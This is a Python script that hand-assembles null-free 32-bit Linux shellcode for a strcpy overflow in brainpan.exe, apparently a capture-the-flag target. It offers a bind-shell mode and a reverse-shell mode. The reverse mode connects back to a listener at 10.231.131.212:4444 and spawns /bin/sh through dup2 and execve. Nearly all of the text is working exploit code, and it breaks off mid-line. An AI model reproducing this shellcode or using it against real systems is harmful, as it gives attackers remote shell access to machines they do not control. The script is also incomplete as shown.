#!/usr/bin/env python3 # --------------------------------------------------------------------------- # scgen.py - hand-assembled x86 (32-bit) Linux shellcode for brainpan.exe # # usage: python3 scgen.py bind -> shellcode_bind.bin (recommended) # python3 scgen.py reverse -> shellcode_reverse.bin # # The overflow happens via strcpy(), so the shellcode must be NULL-FREE. # # bind mode: # fd = socket(AF_INET, SOCK_STREAM, 0) # bind(fd, {AF_INET, htons(4444), INADDR_ANY}, 16) # listen(fd, 1) # fd2 = accept(fd, 0, 0) # dup2(fd2,0); dup2(fd2,1); dup2(fd2,2) # execve("/bin//sh", ["/bin//sh", NULL], NULL) # # reverse mode: # fd = socket(AF_INET, SOCK_STREAM, 0) # connect(fd, {AF_INET, htons(4444), LHOST}, 16) # dup2(fd,0); dup2(fd,1); dup2(fd,2) # execve("/bin//sh", ["/bin//sh", NULL], NULL) # --------------------------------------------------------------------------- import socket import struct import sys LHOST = "10.231.131.212" # for reverse mode only LPORT = 4444 # listen/connect port MODE = sys.argv[1] if len(sys.argv) > 1 else "bind" assert MODE in ("bind", "reverse") ins = [] # (bytes, comment) def emit(*b, comment): ins.append((bytes(b), comment)) # --- socket(AF_INET, SOCK_STREAM, 0) via socketcall ------------------------- emit(0x31, 0xC0, comment="xor eax,eax") emit(0x31, 0xDB, comment="xor ebx,ebx") emit(0x50, comment="push eax ; protocol = 0") emit(0x6A, 0x01, comment="push 1 ; SOCK_STREAM") emit(0x6A, 0x02, comment="push 2 ; AF_INET") emit(0x89, 0xE1, comment="mov ecx,esp ; args pointer") emit(0xB0, 0x66, comment="mov al,0x66 ; socketcall") emit(0x43, comment="inc ebx ; SYS_SOCKET = 1") emit(0xCD, 0x80, comment="int 0x80") emit(0x89, 0xC6, comment="mov esi,eax ; esi = sockfd") # --- struct sockaddr_in on the stack ---------------------------------------- # ground truth verified with C on target host (port 4444): # mem = 02 00 11 5c 00*12 (family LE = 02 00, port BE = 11 5c) # so the dword to push is: 0002 FAM = struct.pack("